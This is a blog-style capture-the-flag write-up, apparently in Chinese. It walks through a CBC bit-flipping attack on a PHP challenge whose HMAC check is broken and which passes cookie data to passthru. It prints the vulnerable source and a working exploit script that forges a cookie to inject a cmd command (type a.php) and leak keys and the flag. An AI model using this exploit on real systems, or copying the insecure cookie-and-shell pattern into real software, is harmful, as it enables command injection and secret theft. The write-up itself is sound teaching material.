距离上次写文章不知不觉竟然都过了二十天了,时间还真是过得飞快啊...上一篇有说到举例说明CBC比特翻转攻击的实例应用,这个说实话在真实环境中还是比较难找到案例的,所以这里就以一道CTF赛题来说明吧 :) 上一篇传送门:CBC 比特翻转攻击详解

0x00 CTF赛题如下

filename: a.php
<?PHP
//注意此处的初始化向量IV和AES秘钥是本地测试的时候为了方便自己设置的,做题的时候攻击者目的就是得到IV和KEY
define('MY_AES_IV', "\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab"/*CENSORED*/);
define('MY_AES_KEY', "\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab"/*CENSORED*/);
define('MY_HMAC_KEY', "\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab"/*CENSORED*/);
define("FLAG","CENSORED");

function aes($data, $encrypt) {
  $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
  mcrypt_generic_init($aes, MY_AES_KEY, MY_AES_IV);
  return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}

define('MY_MAC_LEN', 40);

function hmac($data) {
  return hash_hmac('sha1', data, MY_HMAC_KEY);
}

function encrypt($data) {
  return aes($data . hmac($data), true);
}

function decrypt($data) {
  $data = rtrim(aes($data, false), "\0");
  $mac = substr($data, -MY_MAC_LEN);
  $data = substr($data, 0, -MY_MAC_LEN);
  return hmac($data) === $mac ? $data : null;
}

$settings = array();
if (@$_COOKIE['settings']) {
  echo $_COOKIE['settings']."\n";
  $tmp = @decrypt(base64_decode($_COOKIE['settings']));
  print_r($tmp);
  $settings = @unserialize($tmp);
} 

if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
  
  $settings = array(
      'name' => $_POST['name'], 
      'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),
  );

  setcookie('settings', base64_encode(@encrypt(serialize($settings))));
}

if (@$settings['greeting']) {
  echo "<pre>\n";
  passthru($settings['greeting']);
  echo "</pre>\n";
} else {
  echo "<form action=\"?\" method=\"POST\">\n";
  echo "<p>What is your name?</p>\n";
  echo "<input type=\"text\" name=\"name\" />\n";
  echo "<input type=\"submit\" name=\"submit\" value=\"Submit\" />\n";
  echo "</form>\n";
}

0x01 赛题分析

首先得说明:

  • 题目只是给出了一个页面地址(就是这个脚本),右键查看网页源代码就看到了给的这个源码
  • 原题给出的源码并没有KEY和IV,此处为了本地调试方便已经加上
  • 脚本原来是Linux平台的,现在已经修改成了Windows平台适用(shell和cmd 命令有所不同)
  • 其中第33行和第35行的输出的信息是我为了方便调试加进去的,原题给的源码显然是没有的,这个相信大家都明白

大体分析源码就可以知道,这个脚本是先定义了几个函数,分别定义了AES—CBC模式的加密,HMAC产生消息认证码。而定义的加密则是先将数据进行hmac认证,得到40位的消息认证码,附加在数据后面,再对整个进行AES-CBC模式的加密,最后返回。而解密则是逆过程,先进行AES-CBC模式的解密,然后取后40位作为消息认证码与前面数据的hmac结果进行比对,如果相同证明数据没有问题,返回数据解密结果,如果不同,则证明密文有问题,被修改过,返回Null。方便起见,这里将这个加密和解密过程称为enc处理和dec处理。

流程分析:

第一次访问显然是得到表单,用户输入提交,这时候服务端会根据输入的name生成$settings数组,然后进行序列化-->enc处理-->base64编码-->设置为cookie。此时$settings已经有值,从而不再输出表单而是直接运行passthru,而此函数查一下手册: 执行外部程序并且显示原始输出。再次访问,由于有cookie了,从而base64_decode再dec处理,反序列化之后settings也是有值得了,从而也是直接执行命令输出结果。

0x02 CBC比特翻转攻击思路

咋一看好像确实没法搞定,但是莫着急,请先注意这里:

function hmac($data) {
  return hash_hmac('sha1', data, MY_HMAC_KEY);
}

这里估计是故意错的,不然只要改变密文就无法通过消息认证码的检验,更不谈CBC比特反转攻击了。由于php是弱类型语言,此处的data并不是明文,而是总是'data'字符串,也就是说消息认证码总是字符串'data'的,验证的时候也是一样,从而相当于没有消息认证码这一作用了。

再结合一下之前说的CBC模式比特翻转攻击,构造一下name,如果是Windows平台,比如我可以这么构造--让key常量出现在字符串里面,看看会不会给解析了,然后直接把key给输出了,结果发现不会...(下面代码有说明)
于是乎,再想想,说不定可以构造成这样:
本来是 echo "Hello 这里是你输入的名字!"
如果可以构造成这样的(不得不说这让我想起了sql注入...):
echo ".....aaaaa" & type a.php #aaaaaaaaa....!"
(其中带下划线的就是恶意的构造,双引号闭合前面的双引号,&相当于执行第二条条命令,最后的#是cmd里面的注释符号,注释掉后面的从而顺利执行构造的命令)
这样一来,那岂不是就可以直接输出了?

0x03 攻击的实现代码

于是乎,可以开始构造了:

方便起见,我直接输入了105个a,嘿嘿...

<?php
//这是url解码之后的settings,
$settings = "Slv2YD8ieFPsylCgbNMfTXr6ebULEp8A8XSNIur7IZJcCBArVcpchRp+2Hapar+MemUAnUWxUUEKkVM0bRNrNXcaFE6APiaDuGMLWRwgTTgfHrV0g74ofu5zAQBlvhXKYBhE5sLDo3gGi6Tyx479vJi5W7uiBfejYgseZnORM+HTSK2tLCUtd7y8Y1Yvwys4AWM8ypplhPWidBaFWdawFdg3APtRqk7vnRLhl2tDkRQ7Zvb56ZDOgIl1aV4cCLTWLI2fT48gSbCYmok0Btrryl+HigecbDZsJi+zdBN21Vz9yRmuySbViclFQZ2ScolYgvYF0JHzBPbXfrD51xyRI0/8dVRVgBwWRaiHy68BGcyE3AUqwJbw7Tg5JTDTdZecJqRU4XOjZbNGbU3uMs29a01sKLPVieJcanGO5cQzD/c=";
//进行base64解码
$settings = base64_decode($settings);
//利用上一个任务的结论,进行CBC比特反转攻击
$c   = substr($settings,160,179);
$old = 'aaaaaaaaaaaaaaaa';
//$want= '{MY_AES_KEY}aaaa'; //前面说过这样构造是不行滴...
$want= '" & type a.php #';
for($i=0;$i<=15;$i++){
    $attack = chr(ord($c[$i])^ord($old[$i])^ord($want[$i]));
    $settings[160+$i] = $attack;
}
$settings = urlencode(base64_encode($settings));
//进行输出方便手工使用BurpSuite
echo $settings;

得到修改后有攻击效果的cookie值,进行修改发送:

CBC攻击修改cookie发送-过程图

看看最后的结果:

CBC-attack成功结果图

哈哈,各种东西都输出了!